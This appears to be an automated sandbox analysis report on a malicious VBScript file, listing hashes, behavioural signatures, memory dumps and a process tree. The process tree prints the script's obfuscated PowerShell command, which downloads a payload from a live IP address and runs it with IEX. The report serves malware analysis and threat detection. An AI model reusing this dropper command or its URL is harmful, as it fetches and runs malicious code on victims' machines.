Analysis

  • max time kernel
    55s
  • max time network
    51s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-04-2024 19:37

General

  • Target

    0x.vbs

  • Size

    62KB

  • MD5

    d2e9de8671fd61605ff5f8b8f3249d6b

  • SHA1

    38dc0accb9c561c4f2ed9cc565f73a09eb84e81c

  • SHA256

    fcdaa801a02c05faa8e09a1abb75ab4b8b4a57e1d097cc5feb63b95280230e5c

  • SHA512

    413abbf5eb1a19fec41bbf31cfa524a8c88f049ae624c2b8f8cd40b3dc6ca37b99a45e74cfcb3422bee104e218ebc6b3d38f22b5b9afbd967545aa862b15a106

  • SSDEEP

    1536:y9V9A9J9v9/9U9U9v9U9c9A9m9v9/9U9U9v9U9v:U

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://77.221.151.31/a/a.png

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0x.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1564
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='(New-Object Net.We'; $c4='bClient).Downlo'; $c3='adString(''http://77.221.151.31/a/a.png'')';$TC=I`E`X ($c1,$c4,$c3 -Join '')|I`E`X
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4216

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mpmvimql.kd3.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4216-0-0x000001DD98620000-0x000001DD98642000-memory.dmp

    Filesize

    136KB

  • memory/4216-10-0x00007FFD29920000-0x00007FFD2A3E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4216-12-0x000001DD98670000-0x000001DD98680000-memory.dmp

    Filesize

    64KB

  • memory/4216-11-0x000001DD98670000-0x000001DD98680000-memory.dmp

    Filesize

    64KB

  • memory/4216-17-0x000001DD98670000-0x000001DD98680000-memory.dmp

    Filesize

    64KB

  • memory/4216-16-0x000001DD98670000-0x000001DD98680000-memory.dmp

    Filesize

    64KB

  • memory/4216-15-0x000001DD98670000-0x000001DD98680000-memory.dmp

    Filesize

    64KB

  • memory/4216-14-0x000001DD98670000-0x000001DD98680000-memory.dmp

    Filesize

    64KB

  • memory/4216-13-0x00007FFD29920000-0x00007FFD2A3E1000-memory.dmp

    Filesize

    10.8MB

  • memory/4216-20-0x00007FFD29920000-0x00007FFD2A3E1000-memory.dmp

    Filesize

    10.8MB